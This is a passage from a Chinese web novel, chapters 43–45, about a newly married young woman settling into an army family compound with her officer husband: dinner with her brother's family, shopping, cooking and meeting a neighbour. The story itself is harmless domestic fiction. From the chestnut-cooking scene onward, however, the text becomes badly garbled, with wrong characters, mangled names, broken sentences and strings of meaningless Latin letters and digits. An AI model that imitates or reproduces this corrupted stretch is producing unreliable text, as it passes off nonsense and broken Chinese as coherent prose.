沈明峥低头亲吻她的额头,心里充满对她的怜惜、爱护,还有男人对女人无言的爱意。他捧着她的脸,看她露出笑容的模样,心里再次喟叹。 虽然结婚的时间不长,但她确实看起来开心一些了,将她带离京市是最好的选择,远离顾家人所在的地方,以后或许不会怎么相见,曾经不好的记忆会被更多的新的记忆所取代。 两人相拥会儿,继续忙活。 沈明峥将柜子里的席子取出来,一边铺床一边说:“顾远扬的性子耿直,粗中有细,是个极有原则的人。他既然认你这妹妹,对你是真心的,你若是不介意,以后可以将他当亲人处着。” 毕竟是她的亲大哥,若对方是真心待她,在这里她也有个亲人,多少会有些安全感。希望顾远扬这位亲生的大哥,能弥补她曾经缺失的亲缘。 顾溪点头,朝他笑道:“我也是这么想的,如果他.…那就当亲人处着。”这个大哥看起来好像还不错,不知道大嫂是什么样的。如果两人性子都不错的话,以后可以试着往来。 两人都是干活利落的,不过一个小时,就收拾得差不多,剩下的就是洗洗涮涮的事。 沈明峥去灶房那边升了火,将一个洗干净的锅架上去,往里头倒了大半锅水,先烧开水喝。接着他将昨天在招待所换下来的脏衣服丢进洗衣盆里,拿到院子的水井前的空地,压水上来洗衣服。 顾溪坐在灶房前,一边看火烧开水,一边吃点心。先前在车上时没吃东西,现在确实有些饿了。她自己吃,同时也喂沈明峥吃,觉得他应该也是饿了的,和他聊着这个家的事。 沈明峥说:“平房这边可以烧煤炉子,也可以烧柴火,明天我让人送些煤炭过来。”灶房里有烧柴的农村土灶,也有一个新的铁皮煤炉。角落里还堆着几捆柴火,这些也是花钱买的,找部队后勤买就行。 顾溪觉得烧什么都行,不管煤炉还是农村土灶,她都会用。她发现厨房里的厨具还挺齐全的,有好几个锅,煮饭的锅、炒菜的锅、烧开水的壶、还有一个专门用来烧洗澡水的大锅。 橱柜那边也放了些碗筷,还有喝水泡茶的搪瓷茶缸也有。 除了他们今天在市里买的锅碗瓢盆外,原本也准备了一些,估计是他先前就买好的。 现在就只剩下食材了。 “明天我们去供销社,买些米面回来放着……对了,听说供销社也有菜卖,不过要去早点,晚了就没什么菜……”沈明峥一边搓洗衣服,一边说,显然是特地做过功课的。 顾溪听着,突然问:“大哥,你的假是不是已经没了?”沈明峥点头,“明天再休息一天,后天就要开始上班。” 水声哗啦啦地响起,沈明峥将洗好的衣服拧干,晾晒在院子里。院子里拉了两条晾衣绳,下午的太阳正好,这么晒着,到了晚上衣服应该就能干了。 水也烧好,顾溪将灶肚里的火熄灭,正要将锅拎起来,就被一只大手拉住。 “我来。”沈明峥说道,“小心烫。” 他将锅拎出来,再将锅里的水倒到开水壶里,放到堂屋的餐桌上晾凉,接着又去洗其他的东西。 顾溪发现自己好像没啥事要做,不由跟着他转,发现他不怎么让她干活。从结婚开始,她就发现他好像不太想让她干活,对她有一种很明显的保护欲,让她有些无措。虽然以前冯敏在顾家人面前也很维护她、保护她,但冯敏和他是不同的,两者的保护欲也是不同的。 等时间差不多,沈明峥道:“我们去大哥那里吧。”顾溪哦一声,去堂屋将他们今天在市里买的一些糖果点心和水果取了一部分出来,装到袋子里,算是登门的礼物。就算是亲大哥,也不好两手空空地过去。 她问道:“对了,听说大哥和大嫂还有个女儿,叫顾薇的……我要不要给她封个红包当见面礼?” 这是她偶然间听到江惠君说的。虽然顾茂文夫妻不喜顾远扬不听话,跑去当兵,但结婚生孩子这样的大事,也是写过信回来通知他们。她记得,他们的孩子应该已经五岁了。 沈明峥道:“你看着办。”他不干涉她的决定,长辈给第一次见面的小孩红包,有祝福的意思,挺好的。 顾溪回房间找出个结婚时剩下的红包壳出来,收拾行李时顺便塞进去的。她往红包壳里塞了三块钱。接着两人出门,往顾远扬他们住的房子走去。 43、第43章... 傍晚时分的家属院已经热闹起来。家家户户都升起炊烟,饭菜的香味在傍晚时仍闷热的空气中弥漫,天边夕阳喧天,下班的人们陆陆续续回家,活泼的孩子在家属院的各处玩耍,窜来窜去。 顾远扬居住的房子也在这边的平房。倒不是他申请不到楼房,而是他当初没去抽签,将机会给了下面的人,为此得到组织的表扬。对顾远扬夫妻来说,住楼房还是住平房都是一样的,夫妻俩的性子都比较豁达。 沈明峥和顾溪两人提着东西朝顾远扬所在的房子而去。 路上遇到一些家属,因为两人都很陌生,众人也没主动打招呼,只是盯着他们看了好 会儿,在他们看过去时,露出个笑容算是打招呼,态度还算友善。 心里却嘀咕,这对夫妻长得也太好看了,特别是那军嫂,漂亮成那样,让人都晃了眼。 顾溪发现,这边的住户挺多的。 白天时还好,到了傍晚,人们回家,整个家属院都喧闹起来,很有生活的气息。 顾远扬住的地方离他们家有一段距离,相当于跨越大半个家属院,走了好长一段路才到他们那里。 他们到来时,大门开着,里头很安静,有一个在院子里玩沙子的小姑娘。 小姑娘五岁左右,长得白白嫩嫩的,梳着两条有些歪的牛角辫,正对着门口。当顾溪和沈明峥进来时,小姑娘抬头懵懂地看着他们,一双黑乎乎的眼睛瞪着,然后啊了一声。小姑娘站起身,小奶音叫道:“爸爸,妈妈,姑姑和姑父来了!” 随着小姑娘的声音响起,就见顾远扬和一个容貌秀气的女人从灶房出来。看到他们,顾远扬笑道:“妹妹,妹夫,你们来了。”秀气女人惊讶地看着他们,也跟着打招呼,“妹妹、妹夫,快进来坐。” 两人走过去,来到堂屋,将带来的礼物递过去。顾远扬道:“你们来了就行,干啥还带东西?”在他看来,妹妹和妹夫过来吃饭,就当是自己家,都是自家人,不用这么客气。 顾溪看向拉着季雅衣服的小姑娘,对上她奶乎乎的包子脸,说道:“是给小侄女的一些零嘴。” 听她这么说,顾远扬便没再客气,给他们介绍:“妹妹,这是你嫂子季雅!阿雅,这是妹妹顾溪。” 季雅给他们倒了水,笑着和顾溪打招呼,说道:“那我以后就叫你溪溪吧。” 顾溪点头,打量这位大嫂。 大嫂虽然长得秀气,但身材高挑,人看着是偏瘦的类型,像后世的模特身材。她的气质偏向一种温和从容,给人很沉稳可靠的感觉,和她的职业很搭。在顾溪的记忆里,不少医生都像季雅一样,从容不迫,说话不疾不徐,能让病人焦虑的心情不知不觉就安定下来,这好像是医生的一种特定技能。 季雅让顾远扬陪两人说话,她进灶房继续做饭。 她朝他们道:“溪溪、沈团长,你们坐会儿,我先去做饭,等会儿就能吃饭了。” 顾远扬看着面前白皙漂亮的妹妹,不觉搓了搓手。 兄妹俩第一次见面,还真没什么可聊的。 他一个在男人堆中混了十几年的糙汉子,很少接触到像顺溪这么精致漂亮的姑娘,看起来柔柔弱弱的,生怕说话大声点都要吓到她,有点不知道怎么和她相处。 妹妹和他媳妇季雅明显是不同类型的女性。 当初他受了伤,在医院遇到季雅时,季雅给人的印象是独立而自信的,不知不觉间受她吸引,继而追求她,然后两人结婚、生孩子。他知道怎么和季雅这样的女性相处,但还真不知道怎么和妹妹这样的姑娘相处。 不过这是自家的妹妹,顾远扬作为大哥,不管妹妹是什么样的,心里还是愿意迁就她、照顾她的。他试着搭话:“溪溪,到这边还适应吧?” 顾溪有些无语地看他,“今天刚到,也没什么适不适应的。”得等她住一段日子才能知道自己适不适应。 “哈哈,说得也是。”顾远扬被她吐槽也不生气,继续说,“其实咱们部队这边的环境挺好的,远离大城市的喧嚣,空气清新,有山有水,很适合生活…” 厨房那边竖起耳朵听的季雅都无语了。 这说的是什么话? 一般从城里来这边的女同志都会嫌弃这里是山区,住得偏僻,远离城市,要买点东西都不方便,哪会觉得它好?也亏得顾远扬说得出来,而目他也打从心底这么认为的。 顾远扬努力地和妹妹尬聊几句,聊得顾溪都为他累得慌。这个大哥明显就不懂怎么和女同志聊天。幸好还有沈明峥在,沈明峥接过话,两人聊起部队的事,总算没再努力尬聊。 顾溪看他们聊天,目光落到挨着爸爸的小姑娘身上,朝她招了招手。顾团团小朋友瞅着她,看起来有些怕生,但也没拒绝。等顾溪摸出一颗大白兔奶糖递给她,小姑娘露出一个笑容,一口小米牙很可爱。 “你叫什么名字呀?”顾溪放柔了声音问。“姑姑,我叫顾团团。”顾团团有些害羞地说,“这是小名,大名是顾薇。”顾溪点头,“顾团团很好听呢,是个很可爱的名字。” 和小姑娘聊了几句,顾溪打量这边的房子,发现格局和他们的房子差不多。 应该说,家属院的平房的格局都是差不多的。 这边的院子靠墙有一株葡萄树,树根已经很老了,显然有一些年头,在角落里支了个架子让它攀爬,形成一片绿荫。院子里还种了一些青菜和草药,青菜的长势不怎么好,叶子都黄了,草药长得倒是不错,显然是精心伺弄过的。 闲着没事,顾溪起身去灶房,准备帮季雅做饭。 季雅正在炖红烧猪蹄,灶房里飘满浓郁的肉香,她往里头添了几个剥了壳的水煮蛋,水煮蛋吸足了红烧肉的汤汁,吃起来味道非常不错。见顾溪进来,她有些惊讶,“溪溪怎么过来了?” 顾溪道:“嫂子,有什么需要我帮忙的吗?” 季雅忙道:“不用不用,你出去坐着,饭菜都做得差不多,再炒个青菜就好。”她笑了笑,“厨房这边热,小心热着了,你还是出去吧。” 顾溪看了看,发现确实没什么需要自己帮忙的。 不过她也没出去,而是站在那里,自己找活干,给她打下手,帮忙递东西。 季雅见状,也不再摧她出去,一边忙活一边和她聊天,笑着说:“听说你今年高中毕业了,以后有什么打算吗?” 在她看来,女孩子也是要找份工作的,这样才能活得自在。 就是部队的工作岗位很少,毕竟人太多了,很多家属都是没有工作的。 顾溪道:“现在没什么打算,先在部队安定下来,以后再看看有什么适合的工作。”想了想,她又说道,“我的身体正在调理中,不能做一些大劳累的工作。”如果休息不好,她的身体很容易疲惫,她想要好好活着,也愿意去调理身体。工作是要找的,但在这之前,还是先养好身体吧。 季雅闻言,仔细打量她的脸。 先前打个照面,她就觉得顾溪的脸色苍白,给人一种不太健康的感觉,像是天生不足,或者是后天没养好? “说得也对。”季雅点头,“那就先不急,咱们慢慢养身体,反正以沈团长的工资能养活家,不需要你急着去工作赚钱。” 她听丈夫说过,沈团长是京市人,家境非常不错,父母都是军区的干部,不需要他们补贴家里,就算他们大手大脚地花,完全没问题。 两人随意地聊着,季雅利落地炒好最后一道青菜,顾溪接过来,将之端出去。堂屋里聊天的顾远扬两人见状,也过来帮忙端菜。 晚饭很丰富,有红烧猪蹄,板栗鸡汤,蒜香茄子,炒青菜,主食有面条和米饭。季雅说道:“也不知道你们喜欢吃什么,饭和面都做了一些,随便吃。”顾溪道:“都可以的。”不管是面食还是米饭,她都爱吃。沈明峥也表示都可以,他不挑食。 一行人上了桌,沈明峥给顾溪先盛一碗鸡汤,又往鸡汤里放了几筷子的面条,变成一碗鸡汤面。季雅和顾远扬看在眼里,不觉笑出声。看来两人的感情很好。 吃过饭,顾远扬收拾碗筷,季雅去切了一盘水果过来,众人坐在堂屋里聊天。 八月底的天气依然很热,屋里没风扇,只有扇子可以扇凉。 沈明峥拿着一把蒲扇,给顾溪打扇子,顾溪则坐在那里吃水果,几人随意地聊天。 直到时间差不多,顾溪和沈明峥起身告辞离开。 离开时,顾溪给顾团团小朋友塞了个红包,说道:“这是姑姑给你的见面礼,顾团团小朋友要健康快乐地长大。” 听到这话,顾远扬夫妻俩没再推辞,拍了拍小姑娘的脑袋。小姑娘很有礼貌地说:“谢谢姑姑和姑父!” 送走两人,顾远扬夫妻开始打扫卫生,一边聊天。“妹妹的性子很不错。”季雅说道,“就是身体不太好,看着有些亏损,以后得好好地养着。”顾远扬拧起眉头,声音有些轻,“听说她以前在乡下过得不太好…… 对于顾溪从小被抱错、养在乡下的事,夫妻俩都清楚。 然而只是知道这事,但因为没见过,他们对顾溪的情况还真不清楚,不知道她在回到顾家之前过的是什么日子,也不知道她回到顾家后又怎么样。能知道她在乡下过得不好,也是当初江惠君给他打电话告诉他抱错的事时,随口提了一句。 两人都有自己的工作,再加上顾家那边又不怎么和他们聊络,导致他们对京市那边的事真的不清楚。 直到顾溪要结婚,顾家也没通知他们一声,才隐约明白,或许顾家人并不怎么重视顾溪。 顾远扬有些懊恼。 他擦着桌子,说道:“我一直以为,妹妹到底是顾家的孩子,就算爸妈舍不得将远湘送走,但也会对妹妹好的…… 当年他坚持要入伍当兵,和父母闹得很不愉快。 后来父母单方面断了和他的联系,很不待见他,不过亲人之间也没什么深仇大恨,他也不至于将父母往坏处去想。 直到发生顾家抱错的事,他坚持让父母将顾远湘送走,认为让两个孩子各归各位,对两个孩子都好。 哪想却让父母暴怒,骂他没有兄妹情,更加不待见他,极少和他联系,他在部队也忙,一直也没时间回去。 先前见到顾溪时,顾远扬哪里没感觉到她对他的抗拒。 一个没见过面的亲生大哥,或许会陌生、拘谨,而不是无缘无故抗拒,肯定是有原因的,再联系家里人的态度,他心里多少有些明白。 看来顾溪回到顾家后,过得并不怎么好,和家里人的关系也不好。 如果他这些年能抽空回去,发现父母对顾溪不是那么好,或许他这大哥能为她做些什么,让她在顾家过得自在一些。 不管如何,作为大哥,照顾下面的弟妹是应该的。 顾远征和顾远辉都是男孩子,不怎么需要他照顾,顾远湘从小就有父母兄弟爱护,也不怎么需要他,只有顾溪这个半途回来的亲妹妹,是需要他的。 季雅安慰道:“你也别多想,这是没办法的事,这几年正是你最忙的时候,哪会想到那些?“ 作为军人,顾远扬有诸多身不由己,无法照顾家里。 不说回京市,甚至有时候都是十天半个月不在家,最长的一次是半年多见不到他的人,要不是季雅足够坚强,又是上班,又是养女儿,只怕都要担心得食不下咽。 她也不太能理解公婆为什么不疼受苦回到家的女儿。如果是她的女儿被抱错,受了苦回来,她肯定会更疼爱她,毕竟这是自己怀胎十月生下来的,是她最初所期待的孩子。就算舍不得养女,对养女有感情,但也不至于不疼亲生女儿吧? 部队和京市离得太远,也不知道那边的情况如何,但季雅对顾家不疼顾溪这事是不能理解的。以前他们寄东西回去,会给所有人准备一份,也给顾溪准备了。可惜那边一直没有消息过来,也不和他们写信联系,实在没办法了解。 季雅道:“我觉得妹妹挺好相处的,以后有她在,我也不会无聊,平时可以去找她说说话。”这时,顾团团说:“妈妈,我喜欢姑姑。” 夫妻俩同时看向坐在那里吃糖的女儿。季雅笑道:“你喜欢姑姑,是因为姑姑给你糖吃?”“才不是!”顾团团小朋友大声说,“姑姑长得漂亮,我喜欢姑姑!” 小朋友也能分得清美丑,会天然亲近长得好看的人,更不用说顾溪看起来脾气很好,对孩子很有耐心。谁对自己好,小孩子心里也有数。 季雅夫妻俩不由相视一笑。 这是个很好的开头,顾溪的到来,让他们觉得挺不错的。 ** 回到家,天色已经变得昏暗。沈明峥去厨房烧洗澡水,虽然天气热,但女同志还是洗热水澡比较好,特别是她的体质本就虚,要是洗冷水澡,很容易生病。 烧好水后,他将热水提到洗浴间,让顾溪去洗澡。 洗浴间和厕所都拉了电灯,不用担心天黑时,黑灯瞎火的不小心摔倒。 顾溪对此很满意,虽然她也是苦过来的,但她对居住地方的卫生的要求挺高的,特别是厕所这个地方,要保持干净,必须没什么异味。这些沈明峥都为她满足了。 44、第44章 当号子声响起时,顾溪就醒了。 一只手伸过来拍了拍她的背,接着一道声音响起:“还早,再睡会儿,不用急着起。” 身体确实还挺困的,听到这话,她翻了个身,再次陷入沉眠之中。 等顾溪终于睡饱醒过来,发现天色已经大亮。房间还没有安装窗帘,明亮的光线从窗口洒入,刺得眼睛不舒服,她将脸往枕头埋了埋,恨不得拉起床单盖住脑袋。 突然,顾溪坐起身,想起今天要和沈明峥去供销社买菜呢,要是去迟了,估计就没有菜卖了。这么想着,她赶紧下床,去衣柜翻出衣服换上。 刚换好衣服,就见房门打开,一身水汽的沈明峥进来。 看到她已经起了,他问道:“溪溪,不睡了吗?” “不睡了。”顾溪打了个哈欠,有些担心地说,“不是说好咱们今天早上要去供销社买菜吗?这么晚还有菜吗?” 沈明峥伸手为她整理披散的头发,拿梳子给她梳头发,说道:“不急,菜我已经买回来了。”顾溪的神色一顿,得知他不仅买菜回来,甚至还去晨练了。这倒是衬得她像个懒鬼似的,居然一觉睡到现在。 “饿了吗?先去洗漱吃早餐。”沈明峥说道,拉着她出门。顾溪乖乖地去洗漱,在压水井边搭着的平台刷牙洗脸,然后将拧干的毛巾挂到屋檐下的挂勾上。这里是专门放毛巾的地方,阳光能晒到它们,不容易滋生细菌。 早餐是沈明峥从部队食堂里买回来的,有煎饺、油饼和包子,他还给她冲了一杯麦乳精。看到早餐的份量,便知道他也没吃早餐,问道:“你还没吃吗?”“等你一起。”沈明峥说得平淡。 顾溪接过他递过来的筷子,说道:“以后要是我起得晚,你就先吃吧,别饿着了,饿出胃病可不好受。”有胃病的人才会知道胃痛发作起来有多难受,要好好保护自己的胃。 而且,她也不能保证自己以后会早起。 上辈子时,不管在乡下还是在顾家,她都是家里起得最早的,天没亮就要干活,要给所有人做早餐,从来没能睡过懒觉,不管睡得多晚,都要早早地肥起来。不过现在嘛,她想要好好活着,要好好养身体,那就不能再糟蹋自己的身体,能睡懒觉就睡懒觉。 沈明峥嘴里应一声,对她理直气壮的说自己要睡懒觉的事丝毫不在意,甚至希望她多睡会儿。 吃过早餐,沈明峥去洗碗,顾溪查看他买回来的菜。 有一条五花肉,一个老南瓜,一把青菜,还有十斤米、十斤面等,都是他今天从供销社买回来的。 顾溪看了看灶房里的东西,很快发现,他们没有买油。 炒菜需要放油炒才香,她不打算省这个,有条件的情况下,当然想吃些好的。 五花肉虽然能煎出一些油,但出油量不多,还得买些肥肉来炼油才行。 顾溪转头问:“大哥,能买到肥肉炼油吗?”供销社里每天提供的肉是有数的,而且还会每人限买,就算有肉票,也不能一口气买到很多肉。肥肉对这年代缺油的人们来说是好东西,想买到也不容易。 沈明峥将洗好的碗倒扣在篮子里,说道:“明天早上我去看看有没有肥肉。”想到什么,他又说,“我记得有油票,可以买豆油。” “那行,咱们等会儿去供销社看看,买豆油回来吃。” 虽然想买肥肉炼油,但豆油也是不错的。 顾溪回房翻找出装钱和票的袋子,将里头的票倒出来。 这些票是冯敏给他们准备的,各种票都有,光是难得的工业券就有七八张之多,还有粮票、油票、肉票、菜票、糖票、布票、棉票等,而且这些票还是全国票,到哪里都能用。 看到这些票,能感觉到冯敏的一片拳拳慈爱之心,生怕他们在这边不够票用。 想到冯敏,她心里又有些难受,扭头对进来的沈明峥说:“大哥,咱们到这边了,记得给爸妈他们发个电报报平安。” 沈明峥应一声,看到她脸上的神色,知道她估计又想爸妈他们。他伸手将人揽入怀里,揉了揉她的脑袋,说道:“你看看还有什么要买,咱们再过去买。”先前他只买了些米面和食材,也没有多看。 顾溪低头看了看,取出一些需要用到的票,等会儿看看这边的供销社有没有,有就买了。 接着她取来一个布袋,准备用布袋装东西。 这年头没有购物袋、购物车之类的,得自己准备布袋装东西,就是用手拎比较重,不如乡下人赶集时用的双肩带背篓好用,一般大伙儿去买东西,都喜欢背着个背篓,或者提个菜篮子。顾溪力气大,不怕重,用布袋方便省事。 拿好钱和票,两人便出门。 太阳已经高升,白天时的家属院很安静,一路走来,没遇到多少人。 出了家属院,两人朝供销社走去,路上沈明峥特地为她介绍周围的环境,算是带她熟悉这边的环境。 以顾溪的脚程,从家里走到供销社,约莫要走个二十多分钟,还是挺远的,主要是她体虚,走得不快之故。 或许是当过阿飘,她的身体比较怪异,有力气不代表有体力,她的体力真的挺差的,特别是晚上.……很少能跟得上他的节奏。 供销社不算大,不过东西倒是挺齐全的,居然连布都有卖,就是数量很少,颜色也不多,都挺暗沉的,不是年轻女同志喜欢的。这时间来供销社买东西的人不多,只有三两个,售货员懒洋洋地坐在那里,爱搭不理的。能在供销社上班的,都是有后台的,也是部队这边一些领导的家属。 在沈明峥和顾溪进来时,一个年轻的女售货员惊喜地叫道:“沈团长!”顾溪看过去,见这女售货员盯着沈明峥的模样,顿时明白了。看来这位女同志对她家沈团长有点想法。 沈明峥冷淡地颔首回应,低头看向顾溪,“你看看有什么要买的?” 女售货员终于注意到他身边的顾溪,总算想起来,沈团长已经结婚的事,看到他难得和一个女同志走在一块,不用问也知道,这肯定是他的爱人。 女售货员也听说过月初时,沈明峥申请房子所做的事,和很多人一样,都好奇沈团长的未婚妻是什么模样的,能让他这么上心。 如今看到人后,总算明白了。 这么漂亮的女同志,男人哪里有不上心的?她终于彻底死心。 想想当初,沈明峥刚调职到这边时,引起的轰动可不小,不知道多少人盯着他这香饽饽,上头的领导、家属院里的嫂子、文工团的台柱子、医院里年轻的护士要不是他早有未婚妻,还真不知道为了给他介绍对象,大伙儿私底下会争成什么样?这样年轻又有前途的军官,只要有眼睛的都不会放过。她原本也找了当旅长的姑父帮忙介绍的,以为自己先下手为强,哪知道完全没戏。 顾溪没在意女售货员暗暗打量的眼神,心知像沈明峥这种年轻有为、英俊高大的军官,要是没女人看上是不可能的。而她已经和他结婚,作为已婚人士,就算有什么想法,那些女同志也只能歇了心思。破坏军婚可是要坐牢的,没人敢随意破坏军婚。 先是买了五斤的豆油,为了装豆油,他们还特地买了个罐子;接着又买了些遮光性比较好的布匹,打算用来做窗帘,白天时光线太亮了,很影响睡眠。看到有挂面,便买了一些。 发现卖肉的案板上还有几根剔得挺干净的骨头,直接也买了,顺便买了些刚上市的板栗,准备熬板栗骨头汤喝。 其实她还挺爱喝汤的,鸡汤、骨头汤、老鸭汤、蹄花汤等都爱。 发现还有红枣,她也买了一些。 不过一会儿,布袋里装满了东西,连沈明峥手里都拎着不少。 供销社的售货员目瞪口呆地看着他们,要是他们没记错的话,好像先前沈团长已经来买过一次了吧? 旁边也在买东西的大娘忍不住看了看顾溪,觉得她花钱大手大脚的,一点也不懂得节俭。 不过看到她那白皙细嫩的模样,心知她应该是从城里来的娇小姐,花钱就是没点数,倒也不意外。再看她身边的男人,付钱那叫一个利落,暗暗摇头,年轻夫妻就是不会过日子,这么花法,火车拉来的钱都不够他们花。 两人不知道旁边大娘的想法,直到觉得差不多,两人提着东西回去。回到家里,他们一起收拾,将东西分门别类地放好。 顾溪看着放进柜子里的米和面,问道:“大哥,这边的老鼠多吗?要是老鼠多的话,还是买个米缸放米面比较好。” 她是在乡下生活过的,知道要防虫防老鼠之类的,可不能让老鼠偷吃了东西。 沈明峥道:“山里有老鼠,家属院这边不太清楚,不过部队会按时用药消杀蛇虫鼠蚁,应该不会太多吧?” 听他这意思,那就是有了。 顾溪拿出一个笔记本,将要买的东西记下来。 米缸这东西,供消社没有卖,估计得到找人做个才行,不过这不急,等以后有空再去镇里看看有没有卖。 买完东西回来,两人没有再出门,准备继续收拾家里。 顾溪瞅着院子里的空地,说道:“大哥,咱们先将院子的地翻了,趁着天气还没冷,种些青菜吧,这样就不用天天去买青菜了。” 虽然不缺这个菜钱,但自己种菜吃更方便,像葱蒜姜之类的,那还真是必备的去腥增香的佐料,肯定不能少的。 沈明峥对这些不太懂,决定听她的。 趁着今天在家,他拿院子里备着的一把铁锹,将地给翻了。 顾溪原本想帮忙的,沈明峥将她推了回去,神色很严肃:“只有一把铁揪,我来翻就好,不用你干这种活。” 看她白白净净、柔柔弱弱的,哪里舍得让她干这些? 虽然知道她的力气应该不小,但在视觉上就是个漂亮文静的女同志,外表实在太有欺骗性,他无法真让她来干这种粗活。 顾溪知道他的保护欲又发作了,也不和他争,决定去做午饭。 她将先前买的骨头洗干净,过了一遍水,放到锅里添了大半锅的水开始炖煮,接着剥板栗,剥了一小碗放着,等会儿放到骨头汤里一起煮。剩下的板栗用刀子开个口,等下午有空用糖炒了,做糖炒板栗。 到了中午时,沈明峥已经翻了大半的地。 顾溪也做好饭,叫他去洗手吃饭。 饭桌放在堂屋里,是张八仙桌。 对于只有两个人的家来说,这张八仙桌还挺大的,桌上有一盆板栗骨头汤,一碗香煎五花肉,一道清炒南瓜。 三道菜,足够两人吃了。 五花肉切得薄厚均匀,每一面都煎得焦香,用王婶让他们带过来的酱炒了,非常香,就算不喜欢吃肥肉的顾溪,也觉得能接受五花肉里的一点肥肉。清炒的南瓜保留了南瓜微微的甜味,配饭吃也不错。 骨头汤熬了大半个早上,熬得奶白,里头放了板栗和红枣,非常鲜美。 米饭是用柴火灶焖出来的,粒粒分明,底下还有锅巴,嚼起来非常香,配上焦香的五花肉,更是美味。 顾溪吃得很斯文,看向同桌的男人,一双眼睛亮晶晶地看着他,问道:“大哥,好吃吗?” ** “好吃!”沈明峥点头。 他也很意外,没想到她做的菜这么好吃,明明只是家常菜,却感觉每一道都有不同的味道,吃起来格外香。 顾溪有些开心,只要是做饭的人,都希望自己做出来的饭菜是让人喜欢的。 比起曾经给顾家人做饭,给他做饭的话,她还是挺喜欢的。 两个人过日子,就是要彼此体谅,互相搭配,日子才能过下去,就像沈重山夫妻,两人走了大半辈子,夫妻感情非常深,他们是她经营这段婚姻的学习榜样。 吃过饭,沈明峥去洗碗,将碗洗干净,放到篮子里倒扣沥干水。 接着他将灶上烧好的开水提起来,倒到开水壶里晾凉。 午饭后,顾溪坐了会儿,习惯性地去睡个午觉。 “大哥,你要一起睡吗?”她问沈明峥。 沈明峥道:“我先将地翻了,你去睡吧。”趁着今天在家里,他想将院子里的地都翻了,省得留下来,她会趁着自己不在去干这活。 顾溪瞅着他,将他拉回房。她拉着人上床一起睡午觉,说道:“不用那么急,咱们还没买种子呢,慢慢翻也不迟。”沈明峥有些无奈,心口微微发烫,搂着靠在怀里的姑娘,跟着眯了会儿眼。 睡了一觉醒来,顾溪听到外头响起说话的声音,穿好衣服出去,发现是后勤部那边派了个小战士给他们送煤炭过来。沈明峥帮忙将煤炭搬到灶房里,放到角落。 顾溪去给帮忙送煤炭的小战士倒了杯水,并给对方塞一把糖。 糖是硬糖,昨天在市里买的,买了很多 “嫂子,不用不用,您收回去!”小战士面红耳赤地拒绝,糖是稀罕物,需要糖票,可不好买到,平时他们也舍不得吃,哪里好意思要她这么多的糖。 “没关系的,辛苦你了。”顾溪说道,“这是我和沈团长结婚的喜糖,请你吃。” 虽然不算是喜糖,不过他们刚结婚,这会儿送出去的糖也可以说是喜糖,昨天特地多买糖,也是如此。 听到这话,小战士方才收下。 送走人后,顾溪便去烧火,准备做糖炒板栗。 45、第45章 将洗干净,开子的板要放到锅里在里头加了两了白糖生怕不够甜,又多加,然后再加一而起的豆由下去 最后倒了没过板要的水进去。将盖子盖起来 火烧得并不旺,只是中小火,慢慢地焖着。 因为板栗的数量比较多,所以约莫焖了半个多小时,她打开盖子看了看,发现锅里的水快要收干,便拿锅铲开始翻炒,让每一颗栗子都裹上糖浆。 直到将水份炒干,她将板栗盛出来,待它凉一些,掰开来尝了一个。板栗壳裹上些许甜浆,里头的板栗肉是金黄色的,粉粉糯糯又香甜,味道非常好。这是她第一次做看来没有翻车,因为太简单了,这是厨房小白都能做的。 顾奚芸完后,非常满意。 她将炒好的板栗端出去,朝院子里正在干活的男人说:“大哥,先别忙了,过来吃板栗,休息一下。” 沈明峥应一声,将铁楸靠墙放好,去压水井那边打水洗干净手,又洗了把脸,用毛巾擦去脸上的水珠,然后方才过去 顾溪看他身上的衣服都干湿了,给他倒了杯水,等他喝完水,又剥了一个板栗递到他面前,等他张口吃下后,问道。“好吃吗?” 刚炒出来的板栗还带着温度,又甜又糯,就算不喜欢吃甜的人,都觉得味道很不错。沈明峥点头,“好吃。”他虽然不嗜甜,但对甜味也不排斥,有时候训练太累,或者出去抢险救灾时,吃点甜的能补充体力,会让人心情也跟着明朗不少,能继续坚持下去。 正说着话,突然听到门外响起放]声。 沈明峥起身去开门,发现站在门口的是个三十出头、衣着朴素的军嫂,手里拎着一个篮子,里头放了些青菜瓜果看到他,对方笑道“沈团长,我是隔壁苗团长家的,听说你们搬过来了,给你们送些我们自家种的菜,你们也雨客气,咱们是邻居,以后大家互相关照,有啥事可以来找我们“ 顺系从库里走过来,听到这话,开口道 原来是嫂子,我叫顺墨。不知道嫂子怎么称呼? 她平时虽然不喜欢搭理人,不喜和陌生人说话,但对方态度不错的话,也会主动交涉,这是基本的礼仪。人是群居的动物,人活着不可能只活在自己的世界里,人情往来也是要顺及,特别是这年代,人情味很浓,就算不喜欢交际,该有的礼貌也要维持。 怪不得这人还没来,沈团长放加此上心,有这样自的5妇,男人哪能不上心的?再看她一脸笑盈盈的,看来是个性子不错的。 听说九团长0身是城中里的站娘,还是读过书的知加份子她还扫心对方难相处,会睢不起乡下来的军嫂。想看要是加此,再服就不往来便是。 叶凤花热情地说道“弟妹好,我是你们隔壁家的,我男人姓苗!听说你们作天搬过来了,应该很忙,也不好上门打扰。想着你们今天应该还在家,就过来瞧瞧,和你们认识一下顾溪将人请进去坐,看她带过来的菜,夸道:“嫂子真厉害,种的菜品相都很不错。” 叶风花是个起情材素0的,进T时看%地1.子?里的地D了,说道“你01这是要种菜吧?有买种子了吗?我那里有些蒙种子用不上你们要是不佛弃的话,我给你们吧,世苦得你1还要去买。供拍社没有菜种夹。要实英种的话。还得大镇上没等顾溪说什么,她就喋喋不休地说了一通。 顾系闻言,没有推辞,给她装了大半碗的糖炒栗子,说道“多谢嫂子,我就厚脸皮地收下了!这栗子是我N刚炒好的,嫂子端回去吃吧“ 等她回去尝了一口.发现居然还有甜味、这是加了糖炒的吧?这也,大浪费了糖多金贵的东西啊呵!自己给的那点菜种子好像都有些寒酸了。 顾溪同样收下了▽抓把糖给她 “这是我和沈团长结婚的壹糖 请嫂子吃糖 给家里的孩子甜甜嘴叶凤花“咋又送东西了? 叶凤花迷迷糊地回到家,然后抹了把脸,发现沈团长这媳妇实在大方敞亮。 他有些吃京,这是咋啦?你实然买糖? 24 的1汉5的地m2地不要了位,产用所后人船会有。治子6的大世会有 哪足买的》是隔验大团长的爱人送的。□风花给自己剥了一如和结市故席,起配道,“九团长的号人做事也真足故产,技不过给地产共些咱门家种的菜和种子。如她就台成碗陆》少果子,技不好意思,给她一把故菜她给该把拙这让她有种占了人家便宜的感觉,以后都不怎么敢再送东西了。 eune m,em mk?910 rtb日e wituyem -b 叶凤花点头,心里也高兴,可不足!然后又夸起来。“你都不知道,沈团长他峻复71顺系,再那橙样儿真好看,就修唱戏里的ut4化的,文工团的台柱子在她面前部都要自形羞耻吐,我刚看她时,觉得眼洁都看花了 